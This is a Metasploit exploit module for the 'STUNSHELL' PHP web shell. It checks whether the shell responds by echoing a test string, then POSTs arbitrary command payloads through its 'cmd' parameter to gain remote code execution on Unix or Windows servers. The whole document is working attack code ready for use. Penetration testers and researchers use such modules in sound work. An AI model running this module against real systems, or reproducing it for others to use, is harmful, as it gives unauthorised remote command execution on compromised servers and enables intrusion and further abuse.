STUNSHELL Web Shell Remote Code Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'STUNSHELL Web Shell Remote Code Execution',  
'Description' => %q{  
This module exploits unauthenticated versions of the "STUNSHELL" web shell.  
This module works when safe mode is disabled on the web server. This shell is  
widely used in automated RFI payloads.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'bwall <bwall[at]openbwall.com>' # vuln discovery & msf module  
],  
'References' =>  
[  
['URL', 'https://defense.ballastsecurity.net/wiki/index.php/STUNSHELL'],  
['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=a4cd8ba05eb6ba7fb86dd66bed968007']  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 10000, # Value determined by web server's POST limits  
'BadChars' => '',  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd'  
}  
},  
'Platform' => ['unix', 'win'],  
'Arch' => ARCH_CMD,  
'Targets' =>  
[  
['stunshell / Unix', { 'Platform' => 'unix' } ],  
['stunshell / Windows', { 'Platform' => 'win' } ]  
],  
'DisclosureDate' => 'Mar 23 2013',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI',[true, "The path to the andalas_oku shell", "/IDC.php"]),  
],self.class)  
end  
  
def check  
uri = normalize_uri(target_uri.path.to_s)  
request_parameters = {  
'method' => 'POST',  
'uri' => uri,  
'vars_post' =>  
{  
'cmd' => "echo 'andalas_oku test parameter'"  
}  
}  
shell = send_request_cgi(request_parameters)  
if (shell and shell.body =~ /andalas_oku test parameter/)  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def http_send_command(cmd)  
uri = normalize_uri(target_uri.path.to_s)  
request_parameters = {  
'method' => 'POST',  
'uri' => uri,  
'vars_post' =>  
{  
'cmd' => cmd  
}  
}  
res = send_request_cgi(request_parameters)  
if not (res and res.code == 200)  
fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')  
end  
end  
  
def exploit  
http_send_command(payload.encoded)  
end  
end  
`